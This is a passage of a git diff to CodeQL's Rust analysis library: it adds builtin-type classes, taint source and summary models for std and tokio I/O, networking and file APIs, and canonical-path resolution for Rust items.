{ this.getName() = "bool" } +} + +/** The builtin `char` type. */ +class Char extends BuiltinType { + Char() { this.getName() = "char" } +} + +/** The builtin `str` type. */ +class Str extends BuiltinType { + Str() { this.getName() = "str" } +} + +/** The builtin `i8` type. */ +class I8 extends BuiltinType { + I8() { this.getName() = "i8" } +} + +/** The builtin `i16` type. */ +class I16 extends BuiltinType { + I16() { this.getName() = "i16" } +} + +/** The builtin `i32` type. */ +class I32 extends BuiltinType { + I32() { this.getName() = "i32" } +} + +/** The builtin `i64` type. */ +class I64 extends BuiltinType { + I64() { this.getName() = "i64" } +} + +/** The builtin `i128` type. */ +class I128 extends BuiltinType { + I128() { this.getName() = "i128" } +} + +/** The builtin `u8` type. */ +class U8 extends BuiltinType { + U8() { this.getName() = "u8" } +} + +/** The builtin `u16` type. */ +class U16 extends BuiltinType { + U16() { this.getName() = "u16" } +} + +/** The builtin `u32` type. */ +class U32 extends BuiltinType { + U32() { this.getName() = "u32" } +} + +/** The builtin `u64` type. */ +class U64 extends BuiltinType { + U64() { this.getName() = "u64" } +} + +/** The builtin `u128` type. */ +class U128 extends BuiltinType { + U128() { this.getName() = "u128" } +} + +/** The builtin `usize` type. */ +class Usize extends BuiltinType { + Usize() { this.getName() = "usize" } +} + +/** The builtin `isize` type. */ +class Isize extends BuiltinType { + Isize() { this.getName() = "isize" } +} + +/** The builtin `f32` type. */ +class F32 extends BuiltinType { + F32() { this.getName() = "f32" } +} + +/** The builtin `f64` type. */ +class F64 extends BuiltinType { + F64() { this.getName() = "f64" } +} diff --git a/rust/ql/lib/codeql/rust/frameworks/stdlib/Stdlib.qll b/rust/ql/lib/codeql/rust/frameworks/stdlib/Stdlib.qll index 0ba90bc2e346..e7d9cac24e92 100644 --- a/rust/ql/lib/codeql/rust/frameworks/stdlib/Stdlib.qll +++ b/rust/ql/lib/codeql/rust/frameworks/stdlib/Stdlib.qll @@ -7,6 +7,7 @@ private import codeql.rust.Concepts private import codeql.rust.controlflow.ControlFlowGraph as Cfg private import codeql.rust.controlflow.CfgNodes as CfgNodes private import codeql.rust.dataflow.DataFlow +private import codeql.rust.internal.PathResolution /** * A call to the `starts_with` method on a `Path`. @@ -28,16 +29,7 @@ private class StartswithCall extends Path::SafeAccessCheck::Range, CfgNodes::Met * [1]: https://doc.rust-lang.org/std/option/enum.Option.html */ class OptionEnum extends Enum { - OptionEnum() { - // todo: replace with canonical path, once calculated in QL - exists(Crate core, Module m | - core.getName() = "core" and - m = core.getModule().getItemList().getAnItem() and - m.getName().getText() = "option" and - this = m.getItemList().getAnItem() and - this.getName().getText() = "Option" - ) - } + OptionEnum() { this.getCanonicalPath() = "core::option::Option" } /** Gets the `Some` variant. */ Variant getSome() { result = this.getVariant("Some") } @@ -49,16 +41,7 @@ class OptionEnum extends Enum { * [1]: https://doc.rust-lang.org/stable/std/result/enum.Result.html */ class ResultEnum extends Enum { - ResultEnum() { - // todo: replace with canonical path, once calculated in QL - exists(Crate core, Module m | - core.getName() = "core" and - m = core.getModule().getItemList().getAnItem() and - m.getName().getText() = "result" and - this = m.getItemList().getAnItem() and - this.getName().getText() = "Result" - ) - } + ResultEnum() { this.getCanonicalPath() = "core::result::Result" } /** Gets the `Ok` variant. */ Variant getOk() { result = this.getVariant("Ok") } diff --git a/rust/ql/lib/codeql/rust/frameworks/stdlib/io.model.yml b/rust/ql/lib/codeql/rust/frameworks/stdlib/io.model.yml index 3cdbb911b5b8..e6b75aeb8d32 100644 --- a/rust/ql/lib/codeql/rust/frameworks/stdlib/io.model.yml +++ b/rust/ql/lib/codeql/rust/frameworks/stdlib/io.model.yml @@ -36,3 +36,4 @@ extensions: - ["lang:std", "crate::io::Read::chain", "Argument[0]", "ReturnValue", "taint", "manual"] - ["lang:std", "crate::io::Read::take", "Argument[self]", "ReturnValue", "taint", "manual"] - ["lang:std", "::lock", "Argument[self]", "ReturnValue", "taint", "manual"] + - ["lang:std", "::next", "Argument[self]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::result::Result::Ok(0)]", "taint", "manual"] diff --git a/rust/ql/lib/codeql/rust/frameworks/stdlib/lang-alloc.model.yml b/rust/ql/lib/codeql/rust/frameworks/stdlib/lang-alloc.model.yml index 8d177c4e8565..77c33b47b0c2 100644 --- a/rust/ql/lib/codeql/rust/frameworks/stdlib/lang-alloc.model.yml +++ b/rust/ql/lib/codeql/rust/frameworks/stdlib/lang-alloc.model.yml @@ -29,6 +29,10 @@ extensions: pack: codeql/rust-all extensible: summaryModel data: + # Box + - ["lang:alloc", "::pin", "Argument[0]", "ReturnValue.Reference", "value", "manual"] + - ["lang:alloc", "::new", "Argument[0]", "ReturnValue.Reference", "value", "manual"] + - ["lang:alloc", "::into_pin", "Argument[0]", "ReturnValue", "value", "manual"] # Fmt - ["lang:alloc", "crate::fmt::format", "Argument[0]", "ReturnValue", "taint", "manual"] # String diff --git a/rust/ql/lib/codeql/rust/frameworks/stdlib/lang-core.model.yml b/rust/ql/lib/codeql/rust/frameworks/stdlib/lang-core.model.yml index 3e37ed7797bd..69b2236e3ce8 100644 --- a/rust/ql/lib/codeql/rust/frameworks/stdlib/lang-core.model.yml +++ b/rust/ql/lib/codeql/rust/frameworks/stdlib/lang-core.model.yml @@ -32,6 +32,14 @@ extensions: - ["lang:core", "::align_to", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "taint", "manual"] - ["lang:core", "::pad_to_align", "Argument[self]", "ReturnValue", "taint", "manual"] - ["lang:core", "::size", "Argument[self]", "ReturnValue", "taint", "manual"] + # Pin + - ["lang:core", "crate::pin::Pin", "Argument[0]", "ReturnValue", "value", "manual"] + - ["lang:core", "::new", "Argument[0]", "ReturnValue", "value", "manual"] + - ["lang:core", "::new_unchecked", "Argument[0].Reference", "ReturnValue", "value", "manual"] + - ["lang:core", "::into_inner", "Argument[0]", "ReturnValue", "value", "manual"] + - ["lang:core", "::into_inner_unchecked", "Argument[0]", "ReturnValue", "value", "manual"] + - ["lang:core", "::set", "Argument[0]", "Argument[self]", "value", "manual"] + - ["lang:core", "::into_inner", "Argument[0]", "ReturnValue", "value", "manual"] # Ptr - ["lang:core", "crate::ptr::read", "Argument[0].Reference", "ReturnValue", "value", "manual"] - ["lang:core", "crate::ptr::read_unaligned", "Argument[0].Reference", "ReturnValue", "value", "manual"] diff --git a/rust/ql/lib/codeql/rust/frameworks/stdlib/net.model.yml b/rust/ql/lib/codeql/rust/frameworks/stdlib/net.model.yml new file mode 100644 index 000000000000..c088c11e7b6c --- /dev/null +++ b/rust/ql/lib/codeql/rust/frameworks/stdlib/net.model.yml @@ -0,0 +1,16 @@ +extensions: + - addsTo: + pack: codeql/rust-all + extensible: sourceModel + data: + - ["lang:std", "::connect", "ReturnValue.Field[crate::result::Result::Ok(0)]", "remote", "manual"] + - ["lang:std", "::connect_timeout", "ReturnValue.Field[crate::result::Result::Ok(0)]", "remote", "manual"] + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["lang:std", "::try_clone", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["lang:std", "::read", "Argument[self]", "Argument[0].Reference", "taint", "manual"] + - ["lang:std", "::read_to_string", "Argument[self]", "Argument[0].Reference", "taint", "manual"] + - ["lang:std", "::read_to_end", "Argument[self]", "Argument[0].Reference", "taint", "manual"] + - ["lang:std", "::read_exact", "Argument[self]", "Argument[0].Reference", "taint", "manual"] diff --git a/rust/ql/lib/codeql/rust/frameworks/tokio/fs.model.yml b/rust/ql/lib/codeql/rust/frameworks/tokio/fs.model.yml new file mode 100644 index 000000000000..caa108de2b59 --- /dev/null +++ b/rust/ql/lib/codeql/rust/frameworks/tokio/fs.model.yml @@ -0,0 +1,11 @@ +extensions: + - addsTo: + pack: codeql/rust-all + extensible: sourceModel + data: + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::fs::read::read", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "file", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::fs::read_to_string::read_to_string", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "file", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::fs::read_link::read_link", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "file", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::path", "ReturnValue", "file", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::file_name", "ReturnValue", "file", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::open", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "file", "manual"] diff --git a/rust/ql/lib/codeql/rust/frameworks/tokio/io.model.yml b/rust/ql/lib/codeql/rust/frameworks/tokio/io.model.yml new file mode 100644 index 000000000000..ecfcb1b241b2 --- /dev/null +++ b/rust/ql/lib/codeql/rust/frameworks/tokio/io.model.yml @@ -0,0 +1,51 @@ +extensions: + - addsTo: + pack: codeql/rust-all + extensible: sourceModel + data: + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::stdin::stdin", "ReturnValue", "stdin", "manual"] + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_buf_read_ext::AsyncBufReadExt::fill_buf", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::buffer", "Argument[self]", "ReturnValue", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read", "Argument[self]", "Argument[0].Reference", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_to_string", "Argument[self]", "Argument[0].Reference", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_to_end", "Argument[self]", "Argument[0].Reference", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_exact", "Argument[self]", "Argument[0].Reference", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_buf_read_ext::AsyncBufReadExt::read_line", "Argument[self]", "Argument[0].Reference", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_buf_read_ext::AsyncBufReadExt::read_until", "Argument[self]", "Argument[1].Reference", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_buf_read_ext::AsyncBufReadExt::split", "Argument[self]", "ReturnValue", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::next_segment", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)].Field[crate::option::Option::Some(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_buf_read_ext::AsyncBufReadExt::lines", "Argument[self]", "ReturnValue", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::next_line", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)].Field[crate::option::Option::Some(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_buf", "Argument[self]", "Argument[0].Reference", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_u8", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_u8_le", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_u16", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_u16_le", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_u32", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_u32_le", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_u64", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_u64_le", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_u128", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_u128_le", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_i8", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_i8_le", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_i16", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_i16_le", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_i32", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_i32_le", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_i64", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_i64_le", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_i128", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_i128_le", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_f32", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_f32_le", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_f64", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_f64_le", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::chain", "Argument[self]", "ReturnValue", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::chain", "Argument[0]", "ReturnValue", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::take", "Argument[self]", "ReturnValue", "taint", "manual"] diff --git a/rust/ql/lib/codeql/rust/frameworks/tokio/net.model.yml b/rust/ql/lib/codeql/rust/frameworks/tokio/net.model.yml new file mode 100644 index 000000000000..8c9d278818bb --- /dev/null +++ b/rust/ql/lib/codeql/rust/frameworks/tokio/net.model.yml @@ -0,0 +1,14 @@ +extensions: + - addsTo: + pack: codeql/rust-all + extensible: sourceModel + data: + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::connect", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "remote", "manual"] + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::peek", "Argument[self]", "Argument[0].Reference", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read", "Argument[self]", "Argument[0].Reference", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_read", "Argument[self]", "Argument[0].Reference", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_read_buf", "Argument[self]", "Argument[0].Reference", "taint", "manual"] diff --git a/rust/ql/lib/codeql/rust/internal/AstConsistency.qll b/rust/ql/lib/codeql/rust/internal/AstConsistency.qll index d812bfd2ef77..43adfc351f7e 100644 --- a/rust/ql/lib/codeql/rust/internal/AstConsistency.qll +++ b/rust/ql/lib/codeql/rust/internal/AstConsistency.qll @@ -24,10 +24,7 @@ query predicate multipleLocations(Locatable e) { strictcount(e.getLocation()) > /** * Holds if `e` does not have a `Location`. */ -query predicate noLocation(Locatable e) { - not exists(e.getLocation()) and - not e.(AstNode).getParentNode*() = any(Crate c).getModule() -} +query predicate noLocation(Locatable e) { not exists(e.getLocation()) } private predicate multiplePrimaryQlClasses(Element e) { strictcount(string cls | cls = e.getAPrimaryQlClass() and cls != "VariableAccess") > 1 diff --git a/rust/ql/lib/codeql/rust/internal/Definitions.qll b/rust/ql/lib/codeql/rust/internal/Definitions.qll index 6b380dae3321..0603146c9af2 100644 --- a/rust/ql/lib/codeql/rust/internal/Definitions.qll +++ b/rust/ql/lib/codeql/rust/internal/Definitions.qll @@ -3,6 +3,7 @@ * in the code viewer. */ +private import rust private import codeql.rust.elements.Variable private import codeql.rust.elements.Locatable private import codeql.rust.elements.FormatArgsExpr @@ -12,9 +13,12 @@ private import codeql.rust.elements.MacroCall private import codeql.rust.elements.NamedFormatArgument private import codeql.rust.elements.PositionalFormatArgument private import codeql.Locations +private import codeql.rust.internal.PathResolution /** An element with an associated definition. */ abstract class Use extends Locatable { + Use() { not this.(AstNode).isFromMacroExpansion() } + /** Gets the definition associated with this element. */ abstract Definition getDefinition(); @@ -30,7 +34,8 @@ private module Cached { newtype TDef = TVariable(Variable v) or TFormatArgsArgName(Name name) { name = any(FormatArgsArg a).getName() } or - TFormatArgsArgIndex(Expr e) { e = any(FormatArgsArg a).getExpr() } + TFormatArgsArgIndex(Expr e) { e = any(FormatArgsArg a).getExpr() } or + TItemNode(ItemNode i) /** * Gets an element, of kind `kind`, that element `use` uses, if any. @@ -51,7 +56,8 @@ class Definition extends Cached::TDef { Location getLocation() { result = this.asVariable().getLocation() or result = this.asName().getLocation() or - result = this.asExpr().getLocation() + result = this.asExpr().getLocation() or + result = this.asItemNode().getLocation() } /** Gets this definition as a `Variable` */ @@ -63,11 +69,15 @@ class Definition extends Cached::TDef { /** Gets this definition as an `Expr` */ Expr asExpr() { this = Cached::TFormatArgsArgIndex(result) } + /** Gets this definition as an `ItemNode` */ + ItemNode asItemNode() { this = Cached::TItemNode(result) } + /** Gets the string representation of this element. */ string toString() { result = this.asExpr().toString() or result = this.asVariable().toString() or - result = this.asName().getText() + result = this.asName().getText() or + result = this.asItemNode().toString() } } @@ -124,3 +134,20 @@ private class PositionalFormatArgumentUse extends Use instanceof PositionalForma override string getUseType() { result = "format argument" } } + +private class PathUse extends Use instanceof Path { + override Definition getDefinition() { result.asItemNode() = resolvePath(this) } + + override string getUseType() { result = "path" } +} + +private class FileUse extends Use instanceof Name { + override Definition getDefinition() { + exists(Module m | + this = m.getName() and + fileImport(m, result.asItemNode()) + ) + } + + override string getUseType() { result = "file" } +} diff --git a/rust/ql/lib/codeql/rust/internal/PathResolution.qll b/rust/ql/lib/codeql/rust/internal/PathResolution.qll index d1878ce3daea..d23679ee81be 100644 --- a/rust/ql/lib/codeql/rust/internal/PathResolution.qll +++ b/rust/ql/lib/codeql/rust/internal/PathResolution.qll @@ -180,6 +180,9 @@ abstract class ItemNode extends Locatable { or preludeEdge(this, name, result) and not declares(this, _, name) or + this instanceof SourceFile and + builtin(name, result) + or name = "super" and if this instanceof Module or this instanceof SourceFile then result = this.getImmediateParentModule() @@ -194,11 +197,11 @@ abstract class ItemNode extends Locatable { this = result.(ImplOrTraitItemNode).getAnItemInSelfScope() or name = "crate" and - this = result.(CrateItemNode).getARootModuleNode() + this = result.(CrateItemNode).getASourceFile() or // todo: implement properly name = "$crate" and - result = any(CrateItemNode crate | this = crate.getARootModuleNode()).(Crate).getADependency*() and + result = any(CrateItemNode crate | this = crate.getASourceFile()).(Crate).getADependency*() and result.(CrateItemNode).isPotentialDollarCrateTarget() } @@ -223,6 +226,45 @@ abstract class ItemNode extends Locatable { ) } + /** Holds if this item has a canonical path belonging to the crate `c`. */ + abstract predicate hasCanonicalPath(Crate c); + + /** Holds if this node provides a canonical path prefix for `child` in crate `c`. */ + pragma[nomagic] + predicate providesCanonicalPathPrefixFor(Crate c, ItemNode child) { + child.getImmediateParent() = this and + this.hasCanonicalPath(c) + } + + /** Holds if this node has a canonical path prefix in crate `c`. */ + pragma[nomagic] + final predicate hasCanonicalPathPrefix(Crate c) { + any(ItemNode parent).providesCanonicalPathPrefixFor(c, this) + } + + /** + * Gets the canonical path of this item, if any. + * + * See [The Rust Reference][1] for more details. + * + * [1]: https://doc.rust-lang.org/reference/paths.html#canonical-paths + */ + cached + abstract string getCanonicalPath(Crate c); + + /** Gets the canonical path prefix that this node provides for `child`. */ + pragma[nomagic] + string getCanonicalPathPrefixFor(Crate c, ItemNode child) { + this.providesCanonicalPathPrefixFor(c, child) and + result = this.getCanonicalPath(c) + } + + /** Gets the canonical path prefix of this node, if any. */ + pragma[nomagic] + final string getCanonicalPathPrefix(Crate c) { + result = any(ItemNode parent).getCanonicalPathPrefixFor(c, this) + } + /** Gets the location of this item. */ Location getLocation() { result = super.getLocation() } } @@ -240,16 +282,6 @@ abstract private class ModuleLikeNode extends ItemNode { not mid instanceof ModuleLikeNode ) } - - /** - * Holds if this is a root module, meaning either a source file or - * the entry module of a crate. - */ - predicate isRoot() { - this instanceof SourceFileItemNode - or - this = any(Crate c).getModule() - } } private class SourceFileItemNode extends ModuleLikeNode, SourceFile { @@ -267,25 +299,21 @@ private class SourceFileItemNode extends ModuleLikeNode, SourceFile { override Visibility getVisibility() { none() } override TypeParam getTypeParam(int i) { none() } + + override predicate hasCanonicalPath(Crate c) { none() } + + override string getCanonicalPath(Crate c) { none() } } class CrateItemNode extends ItemNode instanceof Crate { /** - * Gets the module node that defines this crate. - * - * This is either a source file, when the crate is defined in source code, - * or a module, when the crate is defined in a dependency. + * Gets the source file that defines this crate. */ pragma[nomagic] - ModuleLikeNode getModuleNode() { - result = super.getSourceFile() - or - not exists(super.getSourceFile()) and - result = super.getModule() - } + SourceFileItemNode getSourceFile() { result = super.getSourceFile() } /** - * Gets a source file that belongs to this crate, if any. + * Gets a source file that belongs to this crate. * * This is calculated as those source files that can be reached from the entry * file of this crate using zero or more `mod` imports, without going through @@ -303,15 +331,6 @@ class CrateItemNode extends ItemNode instanceof Crate { ) } - /** - * Gets a root module node belonging to this crate. - */ - ModuleLikeNode getARootModuleNode() { - result = this.getASourceFile() - or - result = super.getModule() - } - pragma[nomagic] predicate isPotentialDollarCrateTarget() { exists(string name, RelevantPath p | @@ -329,12 +348,45 @@ class CrateItemNode extends ItemNode instanceof Crate { override Visibility getVisibility() { none() } override TypeParam getTypeParam(int i) { none() } + + override predicate hasCanonicalPath(Crate c) { c = this } + + override predicate providesCanonicalPathPrefixFor(Crate c, ItemNode child) { + this.hasCanonicalPath(c) and + exists(ModuleLikeNode m | + child.getImmediateParent() = m and + not m = child.(SourceFileItemNode).getSuper() and + m = super.getSourceFile() + ) + } + + override string getCanonicalPath(Crate c) { c = this and result = Crate.super.getName() } } /** An item that can occur in a trait or an `impl` block. */ abstract private class AssocItemNode extends ItemNode, AssocItem { /** Holds if this associated item has an implementation. */ abstract predicate hasImplementation(); + + override predicate hasCanonicalPath(Crate c) { this.hasCanonicalPathPrefix(c) } + + bindingset[c] + private string getCanonicalPathPart(Crate c, int i) { + i = 0 and + result = this.getCanonicalPathPrefix(c) + or + i = 1 and + result = "::" + or + i = 2 and + result = this.getName() + } + + language[monotonicAggregates] + override string getCanonicalPath(Crate c) { + this.hasCanonicalPath(c) and + result = strictconcat(int i | i in [0 .. 2] | this.getCanonicalPathPart(c, i) order by i) + } } private class ConstItemNode extends AssocItemNode instanceof Const { @@ -364,6 +416,26 @@ private class EnumItemNode extends ItemNode instanceof Enum { override Visibility getVisibility() { result = Enum.super.getVisibility() } override TypeParam getTypeParam(int i) { result = super.getGenericParamList().getTypeParam(i) } + + override predicate hasCanonicalPath(Crate c) { this.hasCanonicalPathPrefix(c) } + + bindingset[c] + private string getCanonicalPathPart(Crate c, int i) { + i = 0 and + result = this.getCanonicalPathPrefix(c) + or + i = 1 and + result = "::" + or + i = 2 and + result = this.getName() + } + + language[monotonicAggregates] + override string getCanonicalPath(Crate c) { + this.hasCanonicalPath(c) and + result = strictconcat(int i | i in [0 .. 2] | this.getCanonicalPathPart(c, i) order by i) + } } private class VariantItemNode extends ItemNode instanceof Variant { @@ -378,6 +450,26 @@ private class VariantItemNode extends ItemNode instanceof Variant { } override Visibility getVisibility() { result = super.getEnum().getVisibility() } + + override predicate hasCanonicalPath(Crate c) { this.hasCanonicalPathPrefix(c) } + + bindingset[c] + private string getCanonicalPathPart(Crate c, int i) { + i = 0 and + result = this.getCanonicalPathPrefix(c) + or + i = 1 and + result = "::" + or + i = 2 and + result = this.getName() + } + + language[monotonicAggregates] + override string getCanonicalPath(Crate c) { + this.hasCanonicalPath(c) and + result = strictconcat(int i | i in [0 .. 2] | this.getCanonicalPathPart(c, i) order by i) + } } class FunctionItemNode extends AssocItemNode instanceof Function { @@ -444,72 +536,86 @@ class ImplItemNode extends ImplOrTraitItemNode instanceof Impl { TraitItemNode resolveTraitTy() { result = resolvePathFull(this.getTraitPath()) } - pragma[nomagic] - private TypeRepr getASelfTyArg() { - result = - this.getSelfPath().getSegment().getGenericArgList().getAGenericArg().(TypeArg).getTypeRepr() + override AssocItemNode getAnAssocItem() { result = super.getAssocItemList().getAnAssocItem() } + + override string getName() { result = "(impl)" } + + override Namespace getNamespace() { + result.isType() // can be referenced with `Self` } + override TypeParam getTypeParam(int i) { result = super.getGenericParamList().getTypeParam(i) } + + override Visibility getVisibility() { result = Impl.super.getVisibility() } + + override predicate hasCanonicalPath(Crate c) { this.resolveSelfTy().hasCanonicalPathPrefix(c) } + /** - * Holds if this `impl` block is not fully parametric. That is, the implementing - * type is generic and the implementation is not parametrically polymorphic in all - * the implementing type's arguments. - * - * Examples: - * - * ```rust - * impl Foo { ... } // fully parametric - * - * impl Foo { ... } // fully parametric - * - * impl Foo { ... } // not fully parametric - * - * impl Foo> { ... } // not fully parametric + * Holds if `(c1, c2)` forms a pair of crates for the type and trait + * being implemented, for which a canonical path can be computed. * - * impl Foo { ... } // not fully parametric - * - * impl Foo where T: Trait { ... } // not fully parametric - * ``` + * This is the case when either the type and the trait belong to the + * same crate, or when they belong to different crates where one depends + * on the other. */ pragma[nomagic] - predicate isNotFullyParametric() { - exists(TypeRepr arg | arg = this.getASelfTyArg() | - not exists(resolveTypeParamPathTypeRepr(arg)) - or - resolveTypeParamPathTypeRepr(arg).hasTraitBound() + private predicate selfTraitCratePair(Crate c1, Crate c2) { + this.hasCanonicalPath(pragma[only_bind_into](c1)) and + exists(TraitItemNode trait | + trait = this.resolveTraitTy() and + trait.hasCanonicalPath(c2) and + if this.hasCanonicalPath(c2) + then c1 = c2 + else ( + c2 = c1.getADependency() or c1 = c2.getADependency() + ) ) } - /** - * Holds if this `impl` block is fully parametric. Examples: - * - * ```rust - * impl Foo { ... } // fully parametric - * - * impl Foo { ... } // fully parametric - * - * impl Foo { ... } // not fully parametric - * - * impl Foo> { ... } // not fully parametric - * - * impl Foo { ... } // not fully parametric - * - * impl Foo where T: Trait { ... } // not fully parametric - * ``` - */ - predicate isFullyParametric() { not this.isNotFullyParametric() } - - override AssocItemNode getAnAssocItem() { result = 